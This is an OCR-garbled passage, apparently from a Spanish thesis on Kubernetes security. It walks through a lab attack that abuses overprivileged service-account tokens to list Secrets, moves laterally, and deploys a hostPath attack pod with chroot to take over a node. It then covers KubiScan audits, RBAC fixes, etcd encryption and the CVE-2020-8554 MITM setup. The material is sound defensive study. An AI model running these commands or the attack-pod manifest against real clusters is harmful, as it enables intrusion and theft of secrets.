cured-cluster-config.yaml

# desplegar el workload que hace uso de los Service Account vulnerables
$ kubectl apply -f
material-adjunto/attack-scenarios/03-exploiting-service-accounts/deploym
ents/overprivileged-service-account-deployment.yaml

Para consultar mas detalles respecto a la arquitectura y la comunicacién de los distintos
componentes desplegados se recomienda consultar el escenario anterior. La diferencia en
este caso es que no estaran presentes los pods nginx-test y shellshockable (ver Figura 41).

Reconocimiento y obteniendo acceso

El proceso de reconocimiento y la obtencion de un acceso inicial a cluster se describe de
una forma detallada en este mismo apartado del escenario de ataque anterior. Dicho acceso
inicial concluia con una shell reversa en uno de los pods de frontend (Guestbook).

En este escenario, por temas de simplicidad, no se repetira el proceso y se partira de la
base de una terminal/shell en dicho pod obtenida de manera convencional mediante el
comando kubectl exec -it frontend-<hash>-<hash> -- bash.

Etapa de explotacion

Al igual que en el escenario anterior, desde la shell en el pod victima, el atacante puede
descargarse herramientas para facilitar la tarea de explotacion. En este caso, utilizaremos la
herramienta kubectl para continuar con el proceso de descubrimiento, lo cual se logra con el
comando: kubectl cp kubectl frontend-<hash>-<hash>:/var/www/html/.

Para poder establecer comunicacion con el kube-apiserver desde un pod cualquiera, es
necesario proporcionar tanto el token como el certificado ca.crt utilizado para autenticar la
peticion. Kubernetes monta de manera automatica (a no ser que se especifique lo contrario)
dichos componentes en el directorio /run/secrets/kubernetes.io/serviceaccount.

La primera tarea de reconocimiento es determinar si el atacante es capaz de listar pods y
obtener detalles sobre los mismos. Auxiliado de kubectl, el atacante es capaz de realizar las
operaciones mencionadas anteriormente (ver Figura 63).



root@frontend-794b59fb65-95ns8: /var/www/html# ./kubectl \
> r=https://kubernetes \
tificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt \
at /run/secrets/kubernetes.io/serviceaccount/token” \
auth can-i list pod

yes

root@frontend-794b59fb65-95ns8: /var/www/html# ./kubectl \

= --server=https://kubernetes \

> --certificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt \
> --token="cat /run/secrets/kubernetes.io/serviceaccount/token" \

= get pod

NAME READY  STATUS RESTARTS  AGE
frontend-794b59fb65-95ns8 1/1 Running : 15h
frontend-794b59fb65-c68d9 1/1 Running @ 15h
frontend-794b59fb65-kcqcqg 1/1 Running 3 15h
redis-master-664fdf469d-mbc4p 1/1 Running : 15h
redis-sla 5dffadc4f6-hmbgz 1/1 Running 3 15h
redis-sla dff9dc4f6-qj9p8 1/1 Running € 15h
root@frontend-794b59fb65-95ns8: /var/www/html# I

Figura 63. El Service Account permite el listado de pods.

A continuacién, el atacante puede intentar acceder a informacién sensible como secrets
existentes en el cluster (ver Figura 64). Los Secrets son un componente critico para un
sistema en produccién y su exposicién pone a dichos sistemas en un grave riesgo (ver
Figura 65).

root@frontend-794b59fb65-dBtz1: /var/www/html# ./kubectl \
\

run/secrets/kubernetes.io/serviceaccount/ca.crt \
ts/kubernetes.io/serviceaccount/token” \

r/weni/html# TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
/vt / htmls#
r/wa/html# curl -k \
OKEN" \
application/json” \
s/api/vl/namespaces/default/secrets

"items": [

"metadata”:

o/service-account.name": “default”,
o/service-account.uid": 64f50a-981b-4913-8546-378b8c732789"

Figura 64. Verificacién y listado de Secrets para el namespace default.

Finalmente, se puede intentar avanzar con el ataque mediante la creacion de un pod
malicioso, ya sea con propdsitos de cryptojacking [447] o para el escalado de privilegios.
Primeramente, se puede determinar que no es posible la creaciéon de pods haciendo uso del
Service Account montado en el pod, pero si es posible obtener el manifiesto de pods
existentes (ver Figura 66). De esta manera, podemos crear un pod malicioso basado en el
manifiesto de uno de los pods existentes, el cual intentaremos desplegar posteriormente. El
manifiesto del pod malicioso antes mencionado puede consultarse donde sigue.

material-adjunto/attack-scenarios/03-exploiting-service-accounts/deploym
ents/attack-pod.yaml



crt": "LSetLS1CRUdITiBDRVIUSUZIQOFURSEtLSOtCk1ISUM1ekNDQWMrZOF3SUIBZO1CQURBTkIna3Foa2 1HOXcwQkFRCOZBREFWTVINBVRWURWUVFERXdwcmRXSmul 1bGRHVNpHNQ
L0ekl TUPWlU%ShlhE\!ENTUP USURTFNRFUxTmxvd@ZURVRNQKVHQTFVRQpBeE1LYTNWaVpYSnVaWF1sY3pDQeF [EUV1KS29aSWh2Ye5BUUVCQLFB RVBBRENDQVFvQ2dnRUIBTTkACi3rMVBYVb1'
lIrIIZ\J’alleEhE\NP (UERPAG JSUGWTZJUSGE f 1VPQU9udz 8 HdlhpNZZDUZJBV VzR31IandtdEdRUETY

1CDI"H hRWURWU ] BPQkJZI

304NUTRUHBSU3T3dm
UZUF NUUVgwTBhla N y jbjIsd IdFZuSE‘ Jwarwd‘rdwplﬂ'
R3F4dUJwdUZHUNRVR2deVk54UmIrRgotLSOtLUVORCBDRVIUSUZIQBFURSOTLSETCY

KMmFX
X nlkaFpTE!‘ ] 7]
X YmSRdmMyVn1kbw MxaFky chDST’ akaTmpShURquhHVus@TvdJdEﬁEaEhHaT' ITLRRI
125! ﬁnHleST’Jhk41 Y M wa mhkV3gwT21SbFptRjFiSFFpZ1EueHIwcERVSUhhR:
4UWRNVTZNLTBGbDQOV; M Z hTVHIwamtkwF3JbW83UE1DOVNMYTL4RFImc1dh
[TnFiVVRSVGFJIZV1qdwaTeEpMUUt Lbi l\h lTVZVFTEDEh’JH a mxmQ jVseURoYVkyYzF jRDI6Vi1DakcxTnVYaDF!
EhpULNTNmIBVGFNV1d1Y VmlmSDdsTVBB"

"type": "kubernetes.io/service-account-token"
Iy

"met 0
"name": "frontend-sa-token-flr22",
"namespace
"uid":
"re:

--certlflca aut '._ ! /secrets/kube .io/serviceaccount/ca.crt \
--token="cat /run/secrets/kubernetes.io/serviceaccount/token™ \
auth can-i create pod

frontend-794b59fb65-d8tzL: /var /www,
--server=https://kubernetes \
certificate ity=/run/secrets/kubernetes.io/serviceaccount/ca.crt \
ubernetes.io/serviceaccount/token
d-zvppt -0 yaml | grep spec -Al8
spec:
containers:
- image: k8s.gcr

master

- containerPort:
protocol: TCP
resourc
request
cpu: leem
memory: 1EeMi
terminationMessagePat v/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: kube-api-access-5brbx
readOnly: true

--server=https:,
--certificat

Figura 67. Desplazamiento lateral hacia otro pod en la infraestructura.
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Dado que no es posible crear pods con el Service Account en cuestidn, intentemos ver si es
posible desplazarnos lateralmente a otro pod donde este permiso si esté concedido. Para



ello, intentaremos obtener una shell en el pod redis-master y observamos que es posible
realizar dicho desplazamiento (ver Figura 67).

Una vez en el pod redis-master, la primera accion es descargarse kubectl replicando lo
hecho en el pod de frontend (Guestbook), pero también el manifiesto attack-pod.yaml del
pod de ataque. El siguiente paso, es intentar desplegar el pod de ataque que no pudo ser
desplegado desde el pod de frontend, pero en este caso, el intento es satisfactorio (ver

Figura 68).

Every 2,8s5: kubectl get pod

NAME READY  STATUS RESTARTS
attack-pod 1/1 Running
frortend-794b59fb65-datzl 1/1 Running
fro...end-794b59fb65-gq272 1/1 Running
fron-end-794b59fb65-2j584 1/1 Running
redi:-master-664fdf469d-zvppt 1/1 Running
redis-slave-5dff9dc4f6-dlwwm 1/1 Running

.Jkubectl
--server=https://kubernetes \
--certificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt \
--token="cat /run/secrets/kubernetes.io/serviceaccount/token™
auth can-i create pods/exec

./kubectl
--server=https://kubernetes \
--vertificate-authority=/run/secrets/kubernetes.io/serviceaccount/ca.crt \
2 --1oken="cat /run/secrets/kubernetes.io/serviceaccount/token” %\
> apply -f attack-pod.yaml
pod/attack-pod created

Figura 68. Creacion de pod malicioso desde el pod redis-master.

El pod de ataque creado esta basado en el pod redis-master donde a diferencia de éste,
adiciona el mount de un volumen, montando la raiz del sistema de ficheros del nodo worker
/ en el directorio /root del contenedor, se observa a continuacion.

spec:

containers:

- image: k8s.gcr.io/redis:e2e
imagePullPolicy: Always
name: attack-container
volumeMounts:

- mountPath: /root
name: mount-root-into-mnt
volumes:

- name: mount-root-into-mnt
hostPath:
path: /



Para acceder al pod attack-pod, el atacante puede volver a la shell existente en el pod de
frontend y desde ahi obtener una shell en este nuevo pod. Por cuestion de simplicidad, se
obtendra una shell directa hacia dicho pod utilizando kubectl para continuar.

El siguiente paso es determinar si el montaje del volumen ha funcionado verificando si el
directorio /root contiene el sistema de ficheros del nodo. Adicionalmente, es posible
realizar un escalado de privilegios mediante el comando chroot.

El comando chroot permite cambiar el directorio raiz de los programas en ejecuciéon (o que
son ejecutados) y en este caso serd utilizado para obtener una shell en el nodo. Para ello
primeramente determinamos el nodo en el que el pod ha sido programado y se prosigue a
verificar que en efecto es posible obtener una shell en el nodo (ver Figura 69).

ck-pod: /dafa# cat /etc/os-release | grep PRETTY NAMF

ou have been pwn3d" > tmp/6wn3d.txt

ad fetc/passwd

t:/bin/bash
a usr/sbin:/usr/sbin/nologin
bin:/usr/sbin/nologin
dev: /usr/sbin/nologin
sync:/bin:/bin/sync

:/usr/games: /usr/sbin/nologin
/var/cache/man:/usr/sbin/nologin
:7:7:1p: /var/spool/lpd: /usr/sbin/nologin

m-k8s-worker2:/# cat /etc/os-release | grep PRFTTY wawmc
"Ubuntu 21.04"
rker2:/# cat tmp/@wn3d.txt

kss-workerz: /# ||

Figura 69. Escalado de privilegios tomando el control del nodo.

Podemos observar que se ha comprometido un nodo mediante una estrategia de escalado
de privilegios, pero debido a la naturaleza del algoritmo de planificacién (scheduling) seria
bastante tedioso comprometer todos los nodos de la infraestructura. Con este propésito se
puede hacer uso del DaemonSet, cuyo propésito es planificar un pod en cada nodo de
nuestro cluster. Creando una variante de DaemonSet del attack-pod permitiria lograr este
objetivo.

11.3.3.2. Impacto en MITRE ATT&CK®

El cubrimiento de la superficie de ataque e impacto en MITRE ATT&CK® del escenario de
atague es complementario al mostrado en el escenario anterior. Es por ello, que no se
documentan en esta seccidn aquellos attack paths ya mostrados en el ataque anterior.

Initial Access Persistence Privilege Defense Credential Discovery Lateral Collection
Escalation Evasion Access movement

Using Cloud na.':ku""' Brivileged container Clear container Access the K8S Access cloud Images from a Baradesueton
credentials logs resources private registry
Cl:llmpTOITIISEd bash/cmd inside tefple huslPalh Cluster-admin Delete' K8 edntsernyice 8 Resource
ages container binding events AP Hijacking
registry
- . Kubernetes Pod/container Cluster internal Denial of
Kubeconfig file ~ New container Cronjob - e ity Network mapping networking Senvice (D0S)
Annlication Malieien Applications Access Applications
= IiI (RCE) Admission A‘::;;ﬁg::d Cn:;ec;;r;:ra credentials in Kubernetes credentials in
p Controller proxy configuration files Dashboard configuration files
Expo_s_ed SHEEEE Access managed Instance UM T A
sensitive running inside ) - mounts on the
. identity credential  Metadata API
interfaces container host
Malicious
Sidecar injection Admission Coi‘:ﬁiﬁs
Controller rol 9
ARP poisoning
and IP spoofing

Figura 70. Impacto del escenario 3 en MITRE ATT&CK®.



En este escenario, el atacante se ha aprovechado de una mala configuracion en el sistema
de RBAC, lo cual le ha permitido acceder a informacion critica (Secrets), realizar un
desplazamiento lateral y finalmente, tomar control del nodo mediante la técnica de escalado
de privilegios (Figura 70 en rojo). De manera andloga a escenarios anteriores, se muestran
también (Figura 70 en naranja) los posibles caminos que el atacante pudiera seguir para
continuar con su ataque.

11.3.3.3. Auditoria pre-mitigacion

El proceso de la auditoria pre-mitigacion puede llevarse a cabo de la misma manera en que
se hizo para el escenario anterior. No obstante, en este caso se ignoran tanto la auditoria de
workloads como la auditoria de red, pues nos centraremos en estrategias de auditoria
acordes a este caso particular.

Como se observo anteriormente, la raiz del problema aprovechado por el atacante fue una
configuracion deficiente del sistema de RBAC en los Service Accounts utilizados en los
pods. Por esta razén, nuestra auditoria consistira en determinar la adherencia a las buenas
practicas de configuracion del sistema de RBAC mediante la herramienta KubiScan [204].
KubiScan puede ser ejecutado desde una imagen de Docker o como un paquete de Python
y algunas de sus funcionalidades requieren que éste se ejecute utilizando una Service
Accounts con altos privilegios. A continuacion, las instrucciones para desplegarlo.

# creando Service Account con los privilegios requeridos por KubiScan

$ kubectl apply -f
material-adjunto/attack-scenarios/03-exploiting-service-accounts/deploym
ents/kubiscan-service-account.yaml

# obtener token asociado a la Service Account creada

$ kubectl -n kubiscan-ns get serviceaccount kubiscan-sa
-o=jsonpath="'{.secrets[@].name}' | xargs kubectl -n kubiscan-ns get
secret -ojsonpath='{.data.token}' | base64 --decode > token

# obtener ca.crt

$ kubectl -n kubiscan-ns get serviceaccount kubiscan-sa
-o=jsonpath="'{.secrets[@].name}' | xargs kubectl -n kubiscan-ns get
secret -0 json | jgq -r '.data["ca.crt"]' | base64 -d > ca.crt

# crear el contenedor montando el token y ca.crt
$ docker run -it --rm \
--network host \
--volume $PWD/token:/token \
--volume $PWD/ca.crt:/ca.crt \
cyberark/kubiscan

# shell de administrador en el contenedor de KubiScan
root@hostname: /#



El primer paso que podemos llevar a cabo es determinar si existen Service Accounts
consideradas “de riesgo” en el cluster. Como se puede observar en la Figura 71, se han
encontrado dos Service Accounts catalogadas de CRITICAL por KubiScan. El siguiente
paso es determinar la razén por la cual dichas cuentas son consideradas de riesgo, y para
ello, procedemos a analizar las reglas asociadas a las mismas (ver Figura 72). Se puede
constatar la existencia de reglas demasiado permisivas que representan los vectores de
atague explotados en este escenario.

|Risky Users|

| Priority i ace Name

R e T R ] +
| Group system:masters

| ServiceAccount | local-path-storage | local-path-provisioner-service-account
| eAccount | kube-system cronjob-controller

| eAccount g system daemon-set-controller

| eAccount < system oyment-controller

| eAccount < yste nd-controller

| eAccount < yste generic-garbage-collector

| eAccount < yste horizontal-pod-autoscaler

| eAccount ¢ yste job-controller

| eAccount < yste namespace-controller

| T: eAccount < yste ersi t-volume-binder

| eAccount < yste eplicaset-controller

| eAccount < yste replication-controller

| eAccount 1 yste resourcequota-controller

| eAccount < t controller

| : e-controller-mananz,
| eAccount efault ; aster-sa

| eAccount

| eAccount

| eAccount

e

-0SSS5+/ 111 /+5555555555555555+/ 111 /+55550~ co.tifii. . -+S555555555+4-
1555555555555555555555555555555555555/ -05555+/ 1 1 /+5555555555555555
+55555555555555555555555555555555+ 155555555555555555555555555:
-055555555555555555555555555555 - 455555555555555555555555555555555+
/S5555555555555555555555555/ -055555555555555555555555555555 -
©/55555555555555555555555555/
KubiScan version 1.5
Author: Eviatar Gerzi KubisScan version 1.5
Author: Eviatar Gerzi

Roles associated to Subject 'redis-master-sa':

L SRR L IR L EEEE TR decmmmmemaas
| Role | default | create-pod

root@matrix: /# kubiscan -ho 172.18.0.3:6443 -t /token -c /ca.crt -aars "frontend-sa’ root@matrix:/# kubiscan -ho 172.18.0.3:6443 -t /token -c /ca.crt -aars "redis-maste
-ns "default" -k "ServiceAccount" -sa" -ns "default" -k "ServiceAccount'll

Figura 72. Reglas de RBAC de las Service Accounts “de riesgo”.

11.3.3.4. Remediacion y Mitigacién

Al igual que en el caso anterior, estamos en presencia de un escenario con una gran
superficie de ataque, por lo que las medidas de remediacién y mitigacion que pueden ser
aplicadas aumentan de manera considerable.

Cabe destacar que una parte de las medidas propuestas ya han sido abordadas en el
escenario anterior, por lo que en esta seccién solo se abordard en profundidad otras
medidas complementarias. Dichas medidas y/o controles aplicables en este escenario se
describen a continuacion (ver Capitulo 10):

e Restringir los workloads en tiempo de ejecucion mediante Pod Security Policies
(PSP) o el nuevo Pod Security Standards (PSS) (KUBE_WRKL_04b)



e Utilizar politicas de red para prevenir desplazamientos laterales entre los pods de
nuestra infraestructura. Dado que en el escenario anterior abordamos este punto, no
profundizaremos nuevamente en este aspecto (KUBE_WRKL_04d,
KUBE_WRKL_04e, KUBE_WRKL_04f).

e Proteccion de recursos sensibles como Secrets y Config Maps tanto a nivel de
infraestructura como de aplicacion (KUBE_INFR_03, KUBE_INFR_06,
KUBE_WRKL_03)

e Aplicar buenas préacticas de configuracién en RBAC (KUBE_WRKL_01,
KUBE_WRKL_02)

Rotar credenciales para dificultar el movimiento de los atacantes (KUBE_INFR_05)
Implantar proteccién en tiempo de ejecucion para bloquear acciones maliciosas
(KUBE_WRKL_04, RNTM_IPS_01). Al igual que el caso con las politicas de red, no
profundizaremos en este aspecto, ya que sera abordado en profundidad en el
siguiente escenario de ataque.

Restringir capacidades de los workloads en tiempo de ejecucion

Aungue esta medida fue tratada de cierta manera en el escenario anterior, abordaremos los
controles puntuales aplicables en este caso. El primer aspecto a tratar es el de montar de
manera automatica el Service Account en el pod, pues a menos que sea necesario que el
pod se comunique con kube-apiserver no es algo recomendable (ver Figura 73).

root@frontend-5fdbfd9cd9-bb76z: /var/wewi/html# 1s /run 1s /run
apache2 lock utmp lock/ motd.dynamic
root@frontend-5fdbfd9cd9-bb76z: /var /wew/html#

Figura 73. El Service Account no se monta en el pod cuando asi se especifica.

Otro aspecto a tener en cuenta es el uso de Pod Security Policies (PSP) para controlar el
despliegue de workloads que no cumplan con los estandares de seguridad definidos en la
literatura: en este caso montar un volumen hostPath para obtener acceso al nodo. En
nuestro caso no desarrollaremos en detalle esta estrategia de mitigacion, pues ya ha sido
abordada en profundidad en la literatura [448], [449].

Existen también otras alternativas analogas a PSP que permiten realizar las mismas e
incluso mas comprobaciones que las soportadas por PSP aplicables a recursos como
Services, CronJobs, etc. Ejemplos relevantes de dichas alternativas son OPA/Gatekeeper
(abordado en el proximo escenario de ataque) y Kyverno [196].

Gestion de secretos en Kubernetes

Un primer paso para incrementar la seguridad en torno a los secretos en Kubernetes sera
centrarnos en la base de datos etcd, la cual contiene informacion que podria dar gran
visibilidad al atacante sobre el estado del cluster. Se recomienda usar una solucion
establecida para asegurar las copias de seguridad y en caso de ser posible, cifrado
completo del disco duro.

Kubernetes soporta cifrado en reposo de los secretos en etcd, previniendo de esa forma el
acceso a informacion sensible (ver Figura 74). Una configuracion basica puede realizarse
siguiendo las siguientes instrucciones.



# acceder al nodo de control plane
$ docker exec -it tfm-k8s-control-plane bash

# crear el fichero de configuracidén del cifrado
root@tfm-k8s-control-plane:/# cat << 'EOF' >
/etc/kubernetes/pki/encryption-config.yaml
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:

- secrets

providers:

- aescbc:

keys:

- name: keyl

secret: bDDjvhjwppYMOKkZe+kggCY1ToeBe6RtkWWg3jTelLKs= #

<BASE 64 ENCODED SECRET>

- identity: {}
EOF

# habilitar EncryptionConfiguration en ‘kube-apiserver’ en el manifiesto
/etc/kubernetes/manifests/kube-apiserver.yaml agregando la linea:
--encryption-provider-config=/etc/kubernetes/pki/encryption-config.yaml

root@tfm-k8s-control-plane:/#

/p! /ca \
/default/test-secret | hexdump -
-control-plane:/tmp# ETCDCTL API=3 etcdctl --endpoints 172.18.8.4:2379 97374 72 79 2f 73 65 63 72 65 74 |/registry;
/| d fetcd/server.crt  -- c/kubernetes/pki/etcd/serve 73 2f 5 66 61 75 6C
etes/pki/etcd/ca.crt registry/secrets/default/te 65 63 65 74 Ba 6b 73 3a 65 6
@ 7363626 a 76 31 3a 6b 65
79 2f 73 65 63 4 |/registry/secret| 606040 34 89 do 66 75 c3 cb6 20 4 3c ed b8
74 2f 74 65 73 |s/default/test-s| 000058 a 5 79 9c f9 e8 ba da 7e d3 be 27 83 26 4e
73 00 Ba B¢ |ecret.k8s. V| 608060 6 61 65 62 b4 cb a4 1d ae ©5 aa 76 82 eb 6
oS . a c6 a6 7a 84 b5 76 b9
e ea 12 82 26 88 a9 c@ 16
2c d4 84 9f 18 c2 22 0@
76 87 b3 ba dd al 1@ 5
6 37 36 f7 9 30 c4 e 6a 7d bf 7f dl 0 36
® 9b dl 9c 90 as 96 98 a3 b5 ab 51
17 ac a9 5T 45 30 36 13 4d e5 4a bz 87
8 € n f4 5b ca a ef 25 oe 57 29 de ac d8 5f 6e
6 10 00 8 46 69 56 € 79 07 2b 62 6 4 c9 9f 01 fa 06 bd
ea 3f 7b 22 66 6 a =4 600160 ab 6b 8e 4 5 4 ® 9c 6T 88 89 17 cb
a 7b 7d 2c 6 e 6 CELH a ® a8 dc 6b a c5 ea ® a4 56 T6 a9 17 2d
a7b 7d 2c 6 6e 6 e ® 29 6b 13 65 a8 9 e e df 41 13 a@ 91 57 be
a 7b 7d 7d ¥ 65 : e" 5 g eee13e 23 3 88 @ 4 10 36 6 2a ca el d8 53 6d 84
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4 73 73 77 38 26 E . B k 44 39 ef 5b © 5 9 4b 93 93 e5 43 fa
6d 65 12 © 96 erna y 600160 5b b4 79 35 T7e ©e b6 60 42 20 80 76 f3 Oa
61 71 75 65 1a @@ 22 - )

-k8s-control-plane: /# [

Figura 74. Cifrado basico de secrets en etcd.

La estrategia anterior es capaz de garantizar proteccion ante ataques contra etcd, pero no
es capaz de lo mismo ante un comprometimiento del host. Dado que las llaves de cifrado
son almacenadas en el host (en el fichero encryption-config.yaml), un atacante de
experiencia puede acceder al fichero y extraer las llaves de cifrado.

Ante esta situacion, es necesario utilizar otras soluciones mas robustas y sofisticadas como
los KMS [347]. Un proveedor de cifrado KMS utiliza un envelope encryption [450] para cifrar



los datos en etcd. Los proveedores KMS de cédigo abierto mas conocidos son HashiCorp
Vault [207] y Cyberark Conjur [208]. Finalmente, es posible emplear proveedores KMS
ofrecidos por los proveedores de servicios en la nube como AWS Secrets Manager [348],
Google Secret Manager [349], Azure Key Vault [350], etc.

Buenas practicas de RBAC

Como ya se ha mencionado, el sistema primario de autorizacién en Kubernetes es RBAC, el
cual nos permite definir qué sujetos (los Service Accounts) pueden realizar qué acciones
sobre qué tipos de objetos y en cuales namespaces.

El escenario de ataque en cuestion esta basado en una exploracién/explotacion de Service
Accounts con privilegios excesivos debido a una deficiencia en la configuracién de RBAC. A
continuacién se muestran las remediaciones a la configuracion de RBAC de las Service
Accounts vulnerables (Tabla 25 y Tabla 26).

Tabla 25. Role asociado al Service Account ‘frontend-sa’.

Configuracion vulnerable Configuracion segura
apiVersion: apiVersion:
rbac.authorization.k8s.io/v1 rbac.authorization.k8s.io/v1l
kind: Role kind: Role
metadata: metadata:

name: list-pods name: list-pods
namespace: default namespace: default

rules: rules:

- apiGroups: [""] - apiGroups: [""]
resources: ["pods"] resources: ["pods"]
verbs: ["get", "list"] verbs: ["get", "list"]

Tabla 26. Role asociado al Service Account redis-master-sa’.

Configuracién vulnerable Configuracién segura
apiVersion: apiVersion:
rbac.authorization.k8s.io/v1 rbac.authorization.k8s.io/v1l
kind: Role kind: Role
metadata: metadata:

name: create-pods name: create-pods
namespace: default namespace: default
rules: rules:

- apiGroups: [""] - apiGroups: [""]

resources: ["pods"] resources: ["pods"]




verbs: ["get", Hcreate"] verbs: ["get", Flist"]

En el caso especifico del pod redis-master, éste no deberia ser capaz de crear pods en el
cluster. Como se pudo observar anteriormente, nuestras correcciones han eliminado estas
reglas asociadas al Service Account utilizado por ese pod. Para probar si nuestra defensa
es efectiva, obtenemos una shell en redis-master e intentamos crear el pod attack-pod sin
éxito en esta ocasion, lo cual indica que nuestra remediacion ha funcionado (ver Figura 75).

total 46M
X 2 root root 4.0K Jul 30 17:04 /
X root root 4.6K Jul 17:00 /
10860 1000 349 Jul 30 17:04 attack-pod.yaml
root root 18 Jul 30 17:80 dump.rdb
1008 1000 46M Jul 30 17:84 kubectl®
./kubectl

--server=https://kubernetes \
te-author run/secrets/kuberneter.io/serviceaccount/ca.crt \
--token="cat /run/secrets/kubernetes.io/servi_eaccount/token” \
- apply -f attack-pod.yaml
Error from server (Forbidden): error when creating "attack-pod.yaml": pods is forbidden: User "syste
m:serviceaccount:default:redis-master-sa" cannot create resource "pods" in API group "" in the names

pace "default"

Figura 75. Exito de la defensa asociada a buenas practicas de RBAC.

Rotado frecuente de credenciales

Es importante notar que mientras mas corta sea la vida Gtil de un secreto o credencial, mas
dificil sera para el atacante hacer uso de esa credencial. Establecer cortos tiempos de vida
para los certificados y automatizar el proceso de rotacion reduce el riesgo de ataques a la
infraestructura.

En este escenario el atacante utiliz6 credenciales como el token y el certificado ca.crt
para atacar la infraestructura. Una estrategia de Moving Target Defenses (MTD) de un
rotado de credenciales dificultard mucho esta tarea al atacante.

11.3.3.5. Auditoria post-mitigacion

Analogamente al proceso realizado en la seccion de auditoria pre-mitigacion se determinara
si existen Service Accounts consideradas “de riesgo” en el cluster y posteriormente analizar
en mas detalle las reglas asociadas a las mismas que pudieran ser peligrosas. Como se
puede observar en la Figura 76, todos los problemas asociados a estas cuentas han sido
correctamente mitigados.



kubiscan -ho 172.18.0.4:6443 -t /token -c /ca.crt -rs | arep default
kubiscan -ho 172.18.0.4:6443 -t /token -c /ca.crt -rp | grep default

KubiScan version 1.5 KubiScan version 1.5
Author: Eviatar Gerzi Author: Eviatar Gerzi

Roles associated to Subject 'frontend-sa': Roles associated to Subject 'redis-master-sa':
L CEEE TS SE R dommmmmmeaaas Ao +

+

| Kind | Namespace | Name

o Ao R EEEEEE

| Role | default | create-pods
|

root@matrix:/# kubiscan -ho 172.18.8.4:6443 -t /token -c /ca.crt -aars "frontend-sa" |root@matrix:/# kubiscan -ho 172.18.8.4:6443 -t /token -c /ca.crt -aars "redis-master
-ns "default" -k "ServiceAccount" -sa" -ns "default" -k "ServiceAccount”

Figura 76. Eliminadas las Service Accounts “de riesgo”.

Un aspecto relevante a destacar es la funcionalidad de KubiScan para definir de manera
personalizada lo que significa un rol “de riesgo” dependiendo del usuario. En el fichero de
configuracion risky roles.yaml® es posible adaptar el comportamiento de KubiScan al

escenario particular de cada usuario.

11.3.3.6. Andlisis de los resultados

Las estrategias de remediacion y mitigacion propuestas mostraron ser eficaces contra los
distintos attack vectors utilizados por el atacante. Un aspecto a destacar es la importancia
de aplicar buenas practicas en la configuracion de RBAC, ya que constituye la columna
vertebral de la seguridad basada en permisos en nuestro cluster.

Analizando en conjunto tanto el escenario anterior como el presente, se evidencia la vital
importancia de aplicar una estrategia de defensa en profundidad para proteger la gran
superficie de ataque de un cluster de Kubernetes.

11.3.4. Ataque Man-in-the-Middle (MITM) via CVE-2020-8554

11.3.4.1. Contexto y objetivos

En mas detalle, en este escenario kube-apiserver permite al atacante con permisos de crear
un servicio de tipo clusterIP modificar el campo spec.externalIPs, pudiendo interceptar
trafico hacia esa direccion IP. Por otra parte, un atacante con los permisos de
parchear/actualizar el status (los cuales no deberian otorgarse a los usuarios, ya que es
una operacién sensible) de un servicio de tipo LoadBalancer, lograria un impacto similar
mediante la ediciéon de la propiedad status.loadBalancer.ingress.ip.

Afortunadamente, la vulnerabilidad deberia afectar a una cantidad reducida de despliegues
de Kubernetes dado que los servicios de tipo ExternalIP [451], [452] no son utilizados de
manera extensiva en clusters multi-tenant, ademas de que tampoco es recomendable dar
permisos para actualizar servicios de tipo LoadBalancer [453].

La prueba de concepto de dicha vulnerabilidad fue presentada por su descubridor en [454],
ademas de haber sido abordada de manera detallada en diversas ocasiones [455], [456],
[457]. Adicionalmente, no existen condiciones particulares que deba cumplir un cluster
vulnerable producto de una configuracion deficiente u otro motivo. Por las razones antes

20 Fichero material-adjunto/attack-scenarios/03-exploiting-service-accounts/kubiscan/risky _roles.yami.



mencionadas, no se llevard a cabo una prueba de concepto detallada como en los
escenarios de ataque anteriores.

11.3.4.2. Impacto en MITRE ATT&CK®

En este escenario de ataque, el atacante ha explotado una falla en el disefio de Kubernetes
empleando la técnica de Man-in-the-Middle [458] para acceder al trafico interno del cluster
perteneciente a otros usuarios. En la Figura 77 (rojo), se muestra como la técnica utilizada
para el acceso inicial pertenece al area de Collection, lo cual permite escalar el ataque en
otras direcciones como se observa (Figura 77 en naranja). Aunque la superficie de ataque y
cubrimiento de MITRE ATT&CK® es menor que en casos anteriores, es importante destacar
gue este ataque es facil de realizar.
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Escalation Evasion Access vemeni
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Figura 77. Impacto del escenario 4 en MITRE ATT&CK®.

11.3.4.3. Auditoria pre-mitigacion

La naturaleza de este escenario hace que no sea apropiada la estrategia de realizar las
auditorias en las cuatro areas descritas en el protocolo. En este caso, al ser un error en el
disefio o una falta de previsién en el momento en que se disefiaron estas funcionalidades, la
estrategia empleada seré otra.

La manera més objetiva y directa de auditar nuestro cluster serd simplemente explotar la
vulnerabilidad CVE-2020-8554 mediante la creacién y/o actualizacion de un servicio con las
caracteristicas antes descritas. Sin pérdida de generalidad, solo se realizara el analisis para
uno (ver en Tabla 27) de los cuatro casos posibles a analizar, ya que el procedimiento seria
exactamente el mismo.

Tabla 27. Escenarios vulnerables en CVE-2020-8554 a analizar.

Tipo Servicio (clusteriP) Tipo Servicio (LoadBalancer)

Accién (create)

Accién (update)

Para determinar el estado inicial del cluster respecto a la vulnerabilidad CVE-2020-8554, se
intentara crear un servicio de tipo clusterIP con el campo externlaIPs seteado. Los
casos de prueba consisten de dos servicios: uno peligroso al tener una IP externa extrafia
(Tabla 28 a la izquierda) y uno seguro con una IP externa fiable (Tabla 28 a la derecha).



Tabla 28. Manifiestos de los servicios de prueba para CVE-2020-8554.

Configuracion vulnerable del servicio

Configuracion segura del servicio

apiVersion: vl
kind: Service
metadata:
name: disallowed-external-ip
spec:
selector:
app: MyApp
ports:
- name: http
protocol: TCP
port: 80
targetPort: 8080
externallIPs:

apiVersion: vi
kind: Service
metadata:
name: allowed-external-ip
spec:
selector:
app: MyApp
ports:
- name: http
protocol: TCP
port: 80
targetPort: 8080
externallIPs:
- 203.0.113.0 # cncf.io

Las instrucciones para intentar desplegar ambos servicios se muestran a continuacion.

# crear servicio con IP externa riesgosa

$ kubectl apply -f

material-adjunto/attack-scenarios/@3-man-in-the-middle-via-cve-2020-8554
/services/example_disallowed.yaml
service/disallowed-external-ip created

# crear servicio con IP externa segura

$ kubectl apply -f
material-adjunto/attack-scenarios/@3-man-in-the-middle-via-cve-2020-8554
/services/example_allowed.yaml

service/allowed-external-ip created

